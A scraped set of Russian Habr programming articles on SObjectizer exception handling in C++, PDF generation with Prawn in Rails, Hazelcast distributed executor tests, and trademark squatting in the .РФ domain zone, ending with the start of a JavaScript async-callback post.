Если программист не вызывал coop\_t::set\_exception\_reaction() явно, то coop\_t::exception\_reaction() вернет специальное значение – so\_5::inherit\_exception\_reaction. Это значение указывает, что кооперация наследует реакцию на исключение у своей родительской кооперации. Если эта родительская кооперация есть, то SObjectizer вызовет exception\_reaction() для нее. Если и родительская кооперация возвратит значение so\_5::inherit\_exception\_reaction, то SObjectizer вызовет exception\_reaction() для родителя родительской кооперации и т.д.
В конце-концов может оказаться, что нет очередной родительской кооперации. В этом случае SObjectizer вызовет exception\_reaction() для всего environment\_t. А уже environment\_t::exception\_reaction() вернет значение so\_5::abort\_on\_exception. Что и приведет к краху всего приложения через вызов std::abort().
Однако программист может задать реакцию на исключения для всего SObjectizer Environment. Это делается через настройки свойств SObjectizer-а при запуске:
```
so_5::launch( []( environment_t & env ) {...},
[]( environment_params_t & params ) {
params.exception_reaction( shutdown_sobjectizer_on_exception );
...
} );
```
Небольшое промежуточное резюме
==============================
Итак, если агент выпускает наружу исключение, то SObjectizer перехватывает его и спрашивает у агента, что делать с исключением через вызов agent\_t::so\_exception\_reaction(). Если программист не переопределял so\_exception\_reaction(), то реакцию на исключение определяет кооперация, в которую входит агент.
Обычно кооперация говорит SObjectizer-у, что она наследует реакцию на исключение от своего родителя. И SObjectizer будет спрашивать родительскую кооперацию. Затем родителя родительской кооперации и т.д. А когда родители закончатся, SObjectizer спросит реакцию на исключение у environment\_t, внутри которого работает проблемный агент. По умолчанию environment\_t скажет, что работу приложения нужно прервать через вызов std::abort(). Таким образом, программист может влиять на возникновение исключений на разных уровнях:
* в самом агенте, перехватывая все исключения внутри событий агента или же переопределяя so\_exception\_reaction();
* в кооперации агента или в родительских кооперациях;
* в SObjectizer Environment, внутри которого работают агенты и кооперации.
Как среагировать на дерегистрацию кооперации?
=============================================
Как показано выше, SObjectizer может реагировать на выпущенные из агента исключения по-разному. Может, например, дерегистрировать только проблемную кооперацию. Но какой смысл в этой реакции? Ведь кооперация решала какую-то прикладную задачу в приложении, а если бы не решала, то ее бы и не было. И тут эта кооперация внезапно исчезает… Как об этом узнать и как на это среагировать?
SObjectizer позволяет получить уведомление о том, что какая-то кооперация оказалась дерегистрирована. Чем-то этот механизм напоминает возможность мониторинга процессов в Erlang: например, можно вызывать erlang:monitor(process, Pid) и, если процесс Pid завершается, то приходит сообщение {‘DOWN’,...}.
В SObjectizer есть возможность «повесить» нотификатор на событие дерегистрации. Нотификатор – это функтор, который SObjectizer вызовет автоматически, когда завершит дерегистрацию кооперации. В этот функтор SObjectizer передаст и имя дерегистрированной кооперации, и причину ее дерегистрации. Этот функтор может делать то, что нужно приложению. Например, можно отослать какому-то заинтересованному агенту сообщение об исчезновении кооперации. А можно просто перерегистрировать кооперацию:
```
// Простой пример демонстрирующий автоматическую перерегистрацию кооперации
// если она была дерегистрирована из-за возникновения исключения.
#include
#include
void start\_coop( so\_5::environment\_t & env )
{
env.introduce\_coop( [&]( so\_5::coop\_t & coop ) {
struct raise\_exception : public so\_5::signal\_t {};
// Единственный агент в данной кооперации.
// Будет выпускать наружу исключение через секунду после старта.
auto agent = coop.define\_agent();
agent.on\_start( [agent] {
so\_5::send\_delayed< raise\_exception >( agent, std::chrono::seconds(1) );
} )
.event< raise\_exception >( agent, [] {
throw std::runtime\_error( "Just a test exception" );
} );
// Предписываем SObjectizer-у дерегистрировать кооперацию в случае исключения.
coop.set\_exception\_reaction( so\_5::deregister\_coop\_on\_exception );
// Вешаем нотификатор, который проверит причину дерегистрации кооперации
// и, если было исключение, создает эту же кооперацию заново.
coop.add\_dereg\_notificator(
[]( so\_5::environment\_t & env,
const std::string & coop\_name,
const so\_5::coop\_dereg\_reason\_t & why )
{
std::cout << "Deregistered: " << coop\_name << ", reason: "
<< why.reason() << std::endl;
if( so\_5::dereg\_reason::unhandled\_exception == why.reason() )
start\_coop( env );
} );
} );
}
int main()
{
so\_5::launch( []( so\_5::environment\_t & env ) {
// Создаем кооперацию в первый раз.
start\_coop( env );
// Даем некоторое время для работы.
std::this\_thread::sleep\_for( std::chrono::seconds( 5 ) );
// И останавливаемся.
env.stop();
} );
}
```
Готовой [системы супервизоров, как в Erlang-е](http://erlang.org/doc/design_principles/sup_princ.html), в SObjectizer-е нет. Как-то получалось обходиться без нее. Но, если для прикладной задачи она нужна, то можно собрать что-то похожее на базе нотификаторов.
Небольшое философское замечание напоследок
==========================================
C++ – это небезопасный язык. И написание кода, который обеспечивает хотя бы базовые гарантии безопасности исключений, требует определенных усилий от разработчика. Посему, при реализации акторов в C++, нужно осмотрительно относиться к использованию принципа fail fast. Это в Erlang-е хорошо – если в процессе обнаружили какую-то проблему, то просто убили процесс, после чего Erlang VM почистила все за ним, а соответствующий супервизор выполнил запуск нового процесса вместо сбойного.
В C++ все агенты живут в рамках одного процесса. Поэтому, если какой-то из агентов реализован недостаточно качественно, допускает утечку ресурсов и/или порчу чего-нибудь в памяти процесса, то его дерегистрация и последующее создание нового агента взамен дерегистрированного, может оказаться не решением, а еще большей проблемой.
Именно из-за этого в SObjectizer по умолчанию работа всего приложения прерывается, если какой-то из агентов выпускает наружу исключение. Если программиста это не устраивает и он собирается поменять реакцию на какую-то другую (в особенности на реакцию ignore\_exception), то следует несколько раз хорошенько подумать и тщательно проверить код агентов на предмет обеспечения exception safefy.
Заключение
==========
Пожалуй, этой статьей мы закрываем рассказ об основных отличительных особенностях SObjectizer-а. Последующие статьи о SObjectizer мы собираемся выпускать, когда будет появляться что-нибудь новенькое. Ну или если будут попадаться интересные вопросы, дать исчерпывающий ответ на которые в комментариях затруднительно.
Заодно, пользуясь случаем, приглашаем посетить [конференцию Corehard C++ Autumn 2016, которая пройдет 22-го октября в Минске](http://conference.corehard.by/). И на которой будет доклад о Модели Акторов применительно к C++. В том числе и про SObjectizer.
|
https://habr.com/ru/post/312128/
| null |
ru
| null |
# Генерация PDF с помощью Prawn
##### Введение
В топике я рассмотрю создание PDF-документов средствами Ruby/Rails, их генерацию, скачивание напрямую с сайта или создание через rake task, а также возможность отправки во вложении через Mailer.
Работать будем с Rails 3.0.9 и gem'ом Prawn.
##### Установка Prawn
###### Bundler
```
gem 'prawn', :git => "git://github.com/sandal/prawn.git", :submodules => true
```
###### Интеграция с Рельсами
Создадим директорию для классов отчетов:
`$ mkdir app/reports`
Для автоподгрузки классов из этой директории в config/application.rb добавим:
```
config.autoload_paths << "#{Rails.root}/app/reports"
```
И зарегистрируем mime-тип (config/initializers/mime\_types.rb)
```
Mime::Type.register_alias "application/pdf", :pdf
```
Включим gem в автозагрузку (предварительно создав файл) config/initializers/prawn.rb
```
require "prawn"
```
Проверим, работает ли Prawn (я использую RVM)
```
$ rails c
Loading development environment (Rails 3.0.9)
ruby-1.9.2-p180 :001 > Prawn::BASEDIR
=> "/home/kir/.rvm/gems/ruby-1.9.2-p180@pdfer/bundler/gems/prawn-1288242ddece"
```
##### Генерируем PDF
Чтобы Prawn поддерживал кириллицу, необходимо предоставить ему русские шрифты. Положим их в домашнюю директорию, у меня это /home/kir/prawn\_fonts. «Вердану», проверенную в работе с Prawn, я выложил [тут](http://dl.dropbox.com/u/904099/habr/tmp_fonts.zip).
Чтобы иметь какую-нибудь таблицу с данными, создадим скаффолдер с моделью Customer.
`rails g scaffold customer name:string amount:float
rake db:migrate`
Наполним таблицу любыми данными.
Теперь можно создать файл-генератор отчета. Пусть это будет app/reports/customers\_report.rb со следующим кодом:
```
# encoding: utf-8
class CustomersReport < Prawn::Document
# ширина колонок
Widths = [200, 200, 120]
# заглавия колонок
Headers = ['Дата добавления', 'Клиент', 'Баланс']
def row(date, customer_name, amount)
row = [date, customer_name, amount]
make_table([row]) do |t|
t.column_widths = Widths
t.cells.style :borders => [:left, :right], :padding => 2
end
end
def to_pdf
# привязываем шрифты
font_families.update(
"Verdana" => {
:bold => "/home/kir/prawn_fonts/verdanab.ttf",
:italic => "/home/kir/prawn_fonts/verdanai.ttf",
:normal => "/home/kir/prawn_fonts/verdana.ttf" })
font "Verdana", :size => 10
text "Отчет за #{Time.zone.now.strftime('%b %Y')}", :size => 15, :style => :bold, :align => :center
move_down(18)
# выборка записей
@customers = Customer.order('created_at')
data = []
items = @customers.each do |item|
data << row(item.created_at.strftime('%d/%m/%y %H:%M'), item.friendly_name, item.)
end
head = make_table([Headers], :column_widths => Widths)
table([[head], *(data.map{|d| [d]})], :header => true, :row_colors => %w[cccccc ffffff]) do
row(0).style :background_color => '000000', :text_color => 'ffffff'
cells.style :borders => []
end
# добавим время создания внизу страницы
creation_date = Time.zone.now.strftime("Отчет сгенерирован %e %b %Y в %H:%M")
go_to_page(page_count)
move_down(710)
text creation_date, :align => :right, :style => :italic, :size => 9
render
end
end
```
Генератор PDF готов. Добавим в контроллер Customers action, который будет отвечать за скачивание PDF'a.
```
def download_pdf
output = CustomersReport.new.to_pdf
send_data output, :type => 'application/pdf', :filename => "customers.pdf"
end
```
Не забудьте прописать route для этого экшена! Например, так:
```
resources :customers do
collection do
get 'download_pdf'
end
end
```
Переходим по адресу /customers/download\_pdf. В результате получится [вот такой документ](http://storage8.static.itmages.ru/i/11/0719/h_1311079176_868012e97f.png).
#### rake task
Но, допустим, что мы хотим генерировать PDF через rake task. Рассмотрим реализацию (код lib/tasks/customers\_report.rake):
```
namespace :customers_report do
desc 'Generates report with customers'
task :generate_pdf => :environment do
output = CustomersReport.new.to_pdf
filename = "report.pdf"
File.open(Rails.root.join('public', filename), 'wb') do |f|
f.write(output)
end
puts "Report was written to #{filename}"
end
end
```
Выполняем: `rake customers_report:generate_pdf --trace`
Отчет будет генерироваться в public/report.pdf.
#### rake task + mailer
Еще одна ситуация: PDF надо отправлять ежемесячно на e-mail. Для этого нам понадобится создать mailer и еще один task.
Сгенерируем mailer: `rails g mailer customers_mailer report_email` и изменим код app/mailers/customers\_mailer.rb:
```
class CustomersMailer < ActionMailer::Base
default :from => "[email protected]" # укажите свой адрес!
def report_email(pdf_output, to)
report_filename = Time.zone.now.strftime('Report %d-%m-%Y')
attachments[report_filename] = {
:mime_type => 'application/pdf',
:content => pdf_output
}
mail(:to => to, :subject => report_filename.titleize)
end
end
```
И также прописываем task для его отправки (тот же lib/tasks/customers\_report.rake):
```
namespace :customers_report do
desc 'Generates report with customers'
task :generate_pdf => :environment do
#...
end
desc 'Send report by email'
task :send_by_email => :environment do
# можно указывать массивом
# recipient = ["[email protected]", "[email protected]"]
recipient = '[email protected]' # укажите свой адрес!
output = CustomersReport.new.to_pdf
CustomersMailer.report_email(output, recipient).deliver
puts "Report was sent to #{recipient}"
end
end
```
Готово. Не забудьте указать настоящие адреса и настройки action\_mailer в параметрах окружения!
Проверяем работоспособность: `rake customers_report:send_by_email --trace`
##### Ссылки:
Репозиторий Prawn на Github: <https://github.com/sandal/prawn/>
Мой репозиторий с демо-приложением, описанным в статье: <https://github.com/kirs/pdfer>
Об установке Prawn на Гитхабе: <https://github.com/sandal/prawn/wiki/Using-Prawn-in-Rails>
P.S. Большое спасибо Дмитрию Галинскому из evrone за апрельскую презентацию на Rails Club!
|
https://habr.com/ru/post/120388/
| null |
ru
| null |
# Исследуем и тестируем распределенные вычисления от Hazelcast
Продолжаем тестировать [Hazelcast](http://hazelcast.com/). В предыдущем [посте](http://habrahabr.ru/post/228445/) мы познакомились с его очередями. А в этом мы более внимательно взглянем на его возможность распределенного выполнения задач.
Работать с данными гораздо эффективнее как можно ближе к ним, а не выкачивать «к себе», потом считать и\или изменять и отправлять обратно в распределенное хранилище. Именно такую возможность нам предоставляет Hazelcast в виде распределенной реализации ExecutorService. Можно управлять и тем, на каких серверах хранить данные, группируя их по общему ключу, и запускать задачи на нужных серверах, используя тот-же ключ.
Мы попытаемся выяснить — так ли это и есть ли какие подводные камни?
Все тесты доступны на [GitHub](https://github.com/romario13/hz-executor).
И так, поехали. Используется последняя стабильная версия hazelcast — 3.2.3.
(в тестах приводятся примерные данные по измерению скорости и количества. Не публикуется и конфигурация тестовой машины. Данные достаточны для сравнения тестов между собой что и является целью)
##### Test 1 — работаем по старинке
Цель данного теста — замерять производительность при работе без распределенных вычислений для дальнейших сравнений.
Берем два узла и два хранилища (Map). Эмулируем наиболее тяжелый случай, при котором все данные у нас будут не на локальном узле. Т.е. hazelcast будет вынужден скачать данные с другого узла и после их изменения сохранить их так же на другом узле. Создаем все те проблемы, которые должно решить распределенное вычисление задач в будущих тестах.
Ожидаем что быстро забросим 100k задач в очередь а далее они будут выполнены в 10 потоков.
Результат:
INFO: 100000 713 sec: 0.538
INFO: Done tasks: 100000 sec: 15.470
Ожидания оправдались. Забросили 100k быстро — за пол секунды. Во время заброса успело выполниться только 713 задач. Все задачи выполнились за 15,5 секунд.
##### Test 2 — распределенные вычисления
Теперь включим распределенные вычисления от hazelcast. Так же запускаем самый тяжелый случай когда нужные данные на втором узле. Но теперь hazelcast должен это определить и отправить задачу на второй узел и там ее запустить.
Ожидаем что быстро забросим 100k задач в очередь а далее они будут выполнены так же в 10 потоков (это мы указали в конфигурации hazelcast) но быстрее чем в первом тесте. Дополнительно регистрируем — на каком узле выполнялись задачи.
Результат:
INFO: 100000 99998 sec: 6.308
INFO: Done tasks: hz1: 0 hz2: 100000 sec: 6.319
Видим что все задачи выполнились на втором узле (hz2: 100000) и увеличение скорости больше чем в два раза. Это очень хорошо. Тем более эта разница будет расти с ростом объемов обрабатываемых данных в реальности. Сейчас то у нас в хранилище сидят только целые числа.
Но что-то очень непонятное происходит с забросом. Видно что заброс стал очень медленный. Во время заброса выполнились почти все задачи. Эту загадку мы немного отложим, а сейчас посмотрим на более жизненный тест.
##### Test 3 — еще больше реальности
В этом тесте мы уже не будем искусственно создавать задачи только для второго узла. В реальной жизни будут и светлые моменты, когда данные окажутся на том же узле где и инициируются вычисления.
Ожидаем что скорость будет еще выше. Ожидаем близкое к равномерному распределение задач по узлам.
Результат:
INFO: 100000 99857 sec: 5.241
INFO: Done tasks: hz1: 50818 hz2: 49182 sec: 5.252
Ожидания оправдались. Видим нормальное распределение задач по узлам (hz1: 50818 hz2: 49182) и скорость выполнения быстрее на секунду.
##### Test 4 — выполняем медленные задачи
Задачи задачам рознь. Некоторые могут и ресурсы ввода вывода эксплуатировать в процессе работы. Поэтому попробуем выполнить медленные задачи (добавим задержку их выполнения 10 миллисекунд). Кроме того нам интересен обнаруженный ранее эффект, что задачи практически все успевают выполнится во время их заброса. Возможно дело в том что они быстрые и появились накладные расходы hazelcast по сравнению с первым тестом?
Не ожидаем снижения времени на заброс задач. Ожидаем увеличение времени выполнения всех задач.
Результат:
INFO: 100000 99978 sec: 59.442
INFO: Done tasks: hz1: 49522 hz2: 50478 sec: 59.455
Заброс так же катастрофически замедлился. Это странно, тем более что мы используем метод заброса `executorService.executeOnKeyOwner`, который в отличии от `executorService.submitToKeyOwner` не предполагает ожидания результата выполнения. Должен бросить задачу и забыть.
Читаем исходники. Первый момент (код можно пропустить, выводы ниже):
```
public void executeOnKeyOwner(Runnable command, Object key) {
Callable callable = createRunnableAdapter(command);
submitToKeyOwner(callable, key);
}
```
Hazelcast преобразует наш вызов в ````
Future submitToKeyOwner. Таким образом он будет в любом случае ожидать результат.
Второй момент еще интересней (код можно пропустить, выводы ниже):
public static final int SYNC_FREQUENCY = 100;
private final AtomicInteger consecutiveSubmits = new AtomicInteger();
private volatile long lastSubmitTime;
...
...
boolean sync = !preventSync && checkSync();
CallableTaskOperation op = new CallableTaskOperation(name, uuid, task);
ICompletableFuture future = invoke(partitionId, op);
if (sync) {
Object response;
try {
response = future.get();
...
...
/**
* This is a hack to prevent overloading the system with unprocessed tasks. Once backpressure is added, this can
* be removed.
*/
private boolean checkSync() {
boolean sync = false;
long last = lastSubmitTime;
long now = Clock.currentTimeMillis();
if (last + 10 < now) {
consecutiveSubmits.set(0);
} else if (consecutiveSubmits.incrementAndGet() % SYNC_FREQUENCY == 0) {
sync = true;
}
lastSubmitTime = now;
return sync;
}
```
По коду видно, что если в `ExecutorService` придет 100 запросов подряд с интервалом менее 10 миллисекунд, то hazelcast принудительно блокирует текущий поток (100ого запроса) на ожидании результата выполнения задачи.
Мы не будем разбирать глубоко причины по которым так сделано, а акцентируемся на последствии для нас. При наступлении данных условий, т.е. при большом количестве добавляемых задач, добавляющая их сторона становится зависима от времени их выполнения. Чем более тяжелая задача, тем больше будет время блокировки. Это случится так же и на задачах, где не нужно ожидать результат их выполнения.
Идем дальше
##### Test 5 - обходим хак хаком
В реальности может быть много серверов и много в них пользователей и много еще чего, что приведет нас к ситуации в тесте 4. Но может быть и так, что искусственная задержка в коде hazelcast не сработает. Эту ситуацию мы и попробуем смоделировать. Добавим при забросе каждой 100 ой задачи искусственную задержку.
Ожидаем что код hazelcast перестанет блокировать заброс. Увеличится время заброса.
Результат:
INFO: 100000 25223 sec: 13.350
INFO: Done tasks: hz1: 49257 hz2: 50743 sec: 52.837
Видно что время заброса сократилось и к его концу успело выполнится только 25k задач. Таким образом, если очень нужно быстро забросить много задач, то все-таки это сделать можно. Но надо понимать что это приведет к нагрузке на hazelcast (задачи сильно оттянут одеяло на себя) и к увеличению потребляемой памяти на той стороне, где они будут копиться во внутренней очереди.
Если в этом тесте ограничить память, 50 мегабайтами то мы получим OOM
Видно скопление наших задач. Хотя съели память вспомогательные объекты, но это особенность теста. Наша задача - это очень легковесный объект.
##### Test 6 - убираем OOM
Hazelcast дает нам возможность установить предел для очереди задач. Тем самым мы можем избежать перерасхода памяти. Попробуем выставить этот предел в тысяч 10.
В результате мы начинаем видеть в консоли много таких вот предупреждений:
```
WARNING: [10.0.0.3]:5701 [dev] [3.2.3] While executing RunnableAdapter{task=Test6$RunnableTask@219307f2} on Executor[exe]
java.util.concurrent.RejectedExecutionException: Executor[exe] is overloaded!
at com.hazelcast.util.executor.CachedExecutorServiceDelegate.execute(CachedExecutorServiceDelegate.java:98)
```
Смотрим код:
```
public void execute(Runnable command) {
if (!taskQ.offer(command)) {
throw new RejectedExecutionException("Executor[" + name + "] is overloaded!");
}
...
```
Если очередь наполнена полностью, то новые задачи в нее не помещаются и соответственно - не выполняются. Если задачи забрасываются без ожидания результата (методом `executeOnKeyOwner`), то клиент и не узнает о том что они не выполнились.
И общий результат понятен:
INFO: 100000 32604 sec: 16.931
INFO: Done tasks: hz1: 26304 hz2: 26281 sec: 27.269
Почти половина задач не выполнены.
##### Test 7 - анализ ошибок клиентом
И в последнем тесте ответим на вопрос - может ли клиент, закидывающий задачи понять, что они не отработали? Для этого заменим метод `executeOnKeyOwner` на Future `submitToKeyOwner` и нашу задачу изменим на `Callable` чтоб сообщала результат вычислений.
Получаем следующий результат:
INFO: 100000 31790 sec: 16.713
INFO: Done tasks: hz1: 25898 hz2: 25873 sec: 27.046
INFO: Canceled tasks: 0 execution exceptions: 48229 rejected tasks: 48229
С этим все в порядке. Клиент может подготовиться к данной ситуации.
##### Некоторые выводы
* hazelcast может не явно тормозить код, запускающий выполнение распределенных задач если они запускаются с частотой менее 10 миллисекунд и их более 99;
* есть способ частично обойти это искусственное замедление, но надо понимать риски;
* возможны ситуации, когда искусственное торможение не будет срабатывать и большое количество задач будет скапливаться на серверах. Нужно это прогнозировать и не попасть на OOM;
* при ограничении размера очереди возможно ее переполнение и появятся отвергнутые задачи. К этому может быть готов клиент;
Ну и главный вывод - распределенное выполнение задач кардинально увеличивает производительность. И тем больше увеличивает, чем больше объем данных которым нужно манипулировать в процессе решения задачи. Не забывая о выявленных моментах можно с пользой использовать данную фичу в проектах.`
|
https://habr.com/ru/post/229149/
| null |
ru
| null |
# .РФ и успехи борьбы с киберсквоттингом
А ведь всё так хорошо задумывалось! Поэтапная регистрация доменов в зоне.РФ и меры по противодействию киберсквоттерам.
Вот все этапы развития, которые должны были привести к минимизации киберсквоттинга:
* Fast Track, регламентирующей создание ограниченного числа доменов верхнего уровня, записанных символами национальных языков;
* Предварительная регистрация доменов для владельцев товарных знаков (на кириллице);
* Приоритетная регистрация доменов.РФ для владельцев товарных знаков, содержащих символы, отличные от кириллицы;
* Приоритетная регистрация доменов.РФ для владельцев фирменных наименований, наименований мест происхождения товаров, СМИ и некоммерческих организаций;
* Открытая регистрация (заявлена с 1 октября 2010 года)
Удалось ли избежать киберсквоттинга Регистрационному центру?
Удалось ли избежать мер по борьбе с киберсквоттингом?
#### Предыстория
Координационным центром 24-го ноября 2009-го года были зарегистрированы 496 доменов, от всем уже известного `президент.рф` до `ханты-мансийский-автономный-округ.рф` (с вариациями — с дефисами и без).
Первоначальные условия предварительной регистрации были достаточно жёсткие, если на товарном знаке было написано **mot**, зарегистрировать домен было нельзя, а если же **MOT**, то можно (название реального товарного знака изменено). Причём, домен можно было зарегистрировать только на фактического владельца товарного знака (юридическое лицо или ИП).
В последствии, произошли значительные послабления правил предварительной регистрации, уже не обязательно, чтобы текст на товарном знаке был на русском, да и зарегистрировать домены могут не только владельцы товарных знаков, но и юридические лица, некоммерческие организации, СМИ:
[Положение о приоритетной регистрации доменных имен в домене.РФ для отдельных категорий пользователей](http://www.cctld.ru/ru/docs/rf_reg_prior.php)
[Правила регистрации доменных имен в домене.РФ](http://www.cctld.ru/ru/docs/rulesrf.php)
За это время стоимость предварительной регистрации снизилась с 10.000 до 590 рублей (webnames.ru).
На сегодняшний момент [по данным Ru-Center](http://stat.nic.ru/rf/2010/06/11/titul-20100611.shtml) зарегистрировано 12857 и делегировано 2773 доменов в зоне.рф.
#### Голландскому аукциону — быть?
Во время подготовки к открытию регистрации говорилось много правильных слов о киберсквоттерах и обсуждалось проведение [голландского аукциона](http://ru.wikipedia.org/wiki/Голландский_аукцион), по условиям которого Координационным центром резервировались слова и словосочетания русского языка, определялась максимальная (высокая) стоимость. Затем стоимость понижается с течением времени — и, когда цена начинает устраивать покупателя, домен приобретается. Это должно было дать возможность для потенциальных покупателей доменов, заинтересованных в последующем использовании доменного имени, приобрести домен, пусть и по высокой цене. Так как соревноваться с киберсквоттерами «простым» покупателям затруднительно.
Фактически же, тема голландского аукциона была забыта. Хотя информация о его проведении ещё опубликована на сайтах [Хостинг центра](http://help.hc.ru/entry/1209/) и [reggi.ru](http://www.reggi.ru/tldinfo/рф/) — в официальных источниках такой информации нет и проведение аукциона находится в состоянии неопределённости. Да и есть ли в нём сейчас смысл?
#### ~~Киберсквоттинг~~Массовая предварительная регистрация доменов
Известно, что на компанию ООО «Центр эффективных технологий и информационных систем» **ЦЭТИС** (cetis.ru) зарегистрированы домены на товарные знаки, такие как **секс, хостинг, сонник, досуг, сантехника, рублёвка, покер, ипотека, коттедж, стриптиз** и другие.
К примеру, «СЕКС»:
[www1.fips.ru/fips\_servl/fips\_servlet?DB=RUTM&rn=1579&DocNumber=390728&TypeFile=html](http://www1.fips.ru/fips_servl/fips_servlet?DB=RUTM&rn=1579&DocNumber=390728&TypeFile=html)
Дата регистрации: 06.10.2009
Номер: 390728
Правообладатель: ЦЭТИС
Адрес для переписки: **ООО «Кард Патент»** (cardpatent.com)
`Классы МКТУ и перечень товаров и/или услуг:
сумки женские; сумки пляжные; сумки спортивные; сумки туристские; чемоданы; чемоданы плоские; чемоданы плоские для документов.`
Регистратор домена **REG.RU**. Все три компании — [«много лет сотрудничают»](http://cetis.ru/portfolio/web/regru_site_v2/).
Не привожу изображения всех товарных знаков, так как они выполнены в том же «стиле». Для сравнения, виды деятельности у ТЗ «ХОСТИНГ»:
`бренди; вина; виски; водка; джин; ром.`
Сейчас на сайте аксессуары.секс.рф мы можем прочитать:
*Наша коллекция, в первую очередь, для людей, превыше всего ценящих индивидуальность и собственное Я. Для тех, кто нонконформист, кто Личность. И, конечно же, кто любит **СЕКС**.*
Ну да, ведь перечень товаров и услуг: «сумки женские; сумки пляжные;...»
Видимо, скоро по адресу водка.хостинг.рф мы увидим:
*Наша продукция, в первую очередь, для людей, превыше всего ценящих индивидуальность и собственное Я. Для тех, кто нонконформист, кто Личность. И, конечно же, кто любит **ХОСТИНГ**.*
Это товарный знак №390731, следующий по нумерации ТЗ «ПРИНТЕР». Ничего не напоминает? Да, адрес для переписки, тоже ООО «Кард Патент», но вот правообладатель ООО «ЛЕКОМ» (lekom.ru), и что интересно, обнаруживаем на сайте Лекома:
Сложившаяся ситуация привела к обсуждению отмены предварительной регистрации этих доменов, но на данный момент никаких действий Координационный центр не предпринял.
В закрытом разделе vedomosti.ru опубликована следующая информация:
*«Теперь зарезервировать домен сможет только владелец товарного знака, получивший документы в Роспатенте не позже 25 марта 2009 г. В ныне действующей версии правил возраст товарных знаков не регулировался. Поправки вступят в силу через 30 дней после принятия, но, учитывая «особую ситуацию» вокруг регистрации в зоне.рф, это может произойти и раньше, говорит Колесников.
…
Совладелец «Рег.ру» и экс-гендиректор «Цэтис» Алексей Королюк объяснял, что домены понадобились клиентам компании. Но раз правила будут пересмотрены, «Цэтис» может лишиться резервирования. Колесников пообещал, что в ближайшие дни все записи из реестра доменов.рф будут удалены, но «Цэтис» может попросить оставить ему имена. Как поступит «Цэтис», «Ведомостям» узнать не удалось. Запрос в компанию остался без ответа. Источник, близкий к компании, говорит, что сначала надо увидеть протокол заседания центра.»*
Адрес статьи: [www.vedomosti.ru/newspaper/article/2009/11/30/220121](http://www.vedomosti.ru/newspaper/article/2009/11/30/220121)
Но пока никаких изменений порядка регистрации и отмен так и не последовало.
*К слову, на ЦЭТИС оформлены домены регтайм.su, наунет.su, вебнеймс.su.*
Но ЦЭТИС — достаточно скромный пример предварительной регистрации доменов в действии.
Через Ru-Center зарегистрированы домены:
`малыш.рф, мир.рф, мечта.рф, профи.рф, малютка.рф, тигр.рф, дружок.рф, марина.рф, айсберг.рф, уют.рф, открытие.рф, ностальгия.рф, россиянка.рф, свидание.рф, суперзвезда.рф, золушка.рф` и т.д.
Владелец этих доменов **Association «MIR»** — «Ассоциация делового сотрудничества ветеранов Афганистана МИР» (adsva-mir.ru). Какое отношение ассоциация имеет к данным товарным знакам? Интересующиеся могут посчитать количество зарегистрированных доменов на эту организацию (более 1000?).
АДС Ветеранов Афганистана «Мир» — ветеран сквоттинга. На эту организацию зарегистрировано более тысячи товарных знаков: [www.firmreg.ru/trademark/info/mir](http://www.firmreg.ru/trademark/info/mir) (спасибо за предоставленную информацию [xtremest](https://habrahabr.ru/users/xtremest/)).
Если объяснять в двух словах, что такое «сквоттинг»: регистрируется товарный знак, например «Белочка» и сообщается организации, производящей продукт под таким названием, что они нарушают интересы правообладателя товарного знака, затем следует предложение уступить права на товарный знак.
Цитата:
*… патентное агентство «ВАША МА®КА» уведомляет АО «Холод», что оно имеет неопровержимые доказательства того, что «Холод» использует для маркировки своей продукции (мороженое) наименование «БЕЛОЧКА», которое зарегистрировано должным образом в 1995 г. и представляет собственность АОЗТ «Ассоциация делового сотрудничества ветеранов Афганистана „МИР“ (свидетельство Роспатента №161458, приоритет от 16.10.1995 г.). Агентство предупреждает о гражданской и уголовной ответственности соответственно по ст. 138 и 180.
Через сутки это же агентство уведомляет АО „Холод“, что „Ассоциация “МИР» имеет собственность на словесный товарный знак «РУСАЛОЧКА» (св. №148600, приоритет от 03.06.1996 г.) и требует немедленно прекратить несанкционированное использование товарного знака и грозит санкциями. Что и произошло впоследствии…*
Источник [holod-delo.ru/art\_ic\_01\_2004.htm](http://holod-delo.ru/art_ic_01_2004.htm)
**Порядок приоритетной регистрации доменов.РФ позволил сквоттерам уйти в кибер-пространство и к списку «услуг» добавить доменные имена.**
Можно дополнить список доменами:
`царь.рф, няня.рф, презент.рф, золотой.рф, шедевр.рф` и т.д., и их владельцем **«New Technologies» Ltd.**.
Если Вы знаете другие примеры и подробности — обязательно пополню список.
**И самое главное! С точки зрения правил предварительной регистрации — всё чисто и законно.**
#### Когда эти домены поступят в продажу?
По положению о предварительной регистрации доменов:
`4.4. В период действия настоящего Положения администратор не вправе:
- передавать права администрирования другому лицу, **за исключением случаев отчуждения исключительных прав на товарный знак в отношении всех товаров и услуг**;
...`
Т.е. уже сейчас можно уступить товарный знак и домен.
Период действия положения определён: год после завершения приоритетной регистрации, считая с 11 мая 2010 года.
Юристы не прокомментируют, является ли договор уступки на ТЗ основанием для смены Администратора домена?
Себестоимость таких доменов = партнёрская цена предварительной регистрации + оформление товарного знака.
#### Что можно сделать?
Теоретически, ситуацию могли бы исправить изменения в правилах регистрации доменов и порядке предварительной регистрации:
* только по товарным знакам, зарегистрированным до 2009-го года;
* при наличии действующей компании, зарегистрированной до 2009-го года, с направлением деятельности, указанным в товарном знаке;
* запрещается смена администратора домена, полученного в порядке приоритетной регистрации на срок 10 лет;
* запрещается использование домена, полученного в порядке приоритетной регистрации, для размещения ресурса не правообладателя (или лицензиата) и не соответствующего деятельности, указанной в пункте «Классы МКТУ и перечень товаров и/или услуг»;
* при смене правообладателя или лицензиата до 2020 года регистрация домена аннулируется.
Кроме этого, можно опубликовать в открытом доступе перечень доменов, зарегистрированных в порядке предварительной регистрации, с указанием владельца домена, товарного знака, даты регистрации товарного знака, регистратора и т.п. — было бы очень интересно.
Не все пункты легко исполнимы. Почему этого не было сделано изначально — предлагаю сказать в комментариях. Это, простите, большой **вопрос.рф** и он свободен.
Буду благодарен за любую дополнительную информацию.
UPD: аукционы, возможно, будут. [Пруф](http://cctld.ru/ru/press_center/news/news_detail.php?ID=834).
|
https://habr.com/ru/post/96232/
| null |
ru
| null |
# После всех асинхронных вызовов
Итак, мы пишем приложение с кучей асинхронных запросов. Нам надо отправить два асинхронных запроса и обработать их результат только после того, как будет получен результат обоих. Например, это могут быть ассинхронные обращение к файлу и запрос к базе, результат которых надо сложить вместе и обработать. Или два аджакс запроса.
Но особенность асинхронных запросов в том, что мы не знаем, какой из них придёт первым, а какой — последним. Решают это разными способами, но я не видел еще красивого и изящного. В топике я расскажу, как я это вижу.
>
> ```
> var process = processFsAndDb.after('fs', 'db');
>
